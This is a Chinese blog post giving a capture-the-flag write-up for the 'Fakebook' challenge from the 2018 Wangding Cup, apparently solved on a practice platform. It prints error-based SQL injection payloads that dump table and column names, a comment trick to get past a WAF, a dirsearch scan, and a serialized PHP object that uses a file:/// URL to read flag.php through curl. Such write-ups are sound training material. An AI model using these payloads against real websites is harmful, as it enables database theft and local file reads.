码迷,mamicode.com
首页 > 其他好文 > 详细

[网鼎杯 2018]Fakebook

时间:2020-11-08 17:23:34      阅读:22      评论:0      收藏:0      [点我收藏+]

标签:绕过   robot   img   文件   界面   group   注入   数据   ror   

  • 打开后为常见login界面 -> 检查robots.txt泄露 -> 得到user.php.bak

注册账号后发现
/view.php?no=1
更改传参类型后出现SQL语句报错?no=1‘ ?no=abc
技术图片
暴露文件路径?no=2
技术图片


  • 利用报错注入
?no=1 and extractvalue(1,concat(‘=‘,(select database()),‘=‘))
(XPATH syntax error: ‘=fakebook=‘)
?no=1 and extractvalue(1,concat(‘=‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘fakebook‘),‘=‘))
(XPATH syntax error: ‘=users=‘)
?no=1 and extractvalue(1,concat(‘=‘,(select group_concat(column_name) from information_schema.columns where table_schema=‘fakebook‘ and table_name=‘users‘),‘=‘))
(XPATH syntax error: ‘=no,username,passwd,data=‘)
?no=1 and extractvalue(1,concat(‘=‘,(),‘=‘))

利用mid()分段提取数据passwd

4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5
data O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}

数据序列化后存储此处联想到反序列化

?no=1 and 1=2 union/**/select 1,2,3,4
这里有个简单的WAF注释绕过就行
技术图片
验证猜想

  • 结合分析user.php.bak
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

      //初始化一个新的cURL会话并获取一个网页
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

存在curl_exec()函数

https://www.runoob.com/php/func-curl_setopt.html

且设置了CURLOPT_RETURNTRANSFER,TRUE 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
支持http、https、ftp、gopher、telnet、dict、file和ldap协议
差一个flag路径

  • 文件扫描(使用dirsearch)
    ./dirsearch.py -u http://2d509c4d-511f-4de4-8b6d-05cc3c1cca0f.node3.buuoj.cn/ -e php

技术图片
得到文件flag.php

  • 构造序列化
<?php  
class UserInfo{ 
    public $name = 1;
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}  
$test = new UserInfo();
echo serialize($test);
?> 

O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

  • payload
    ?no=-1 union/**/select 1,2,3,‘O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}‘

技术图片

base64解码一下 v_v

乱七八糟看了很多帖子

[网鼎杯 2018]Fakebook

标签:绕过   robot   img   文件   界面   group   注入   数据   ror   

原文地址:https://www.cnblogs.com/sunix-blog/p/13943132.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!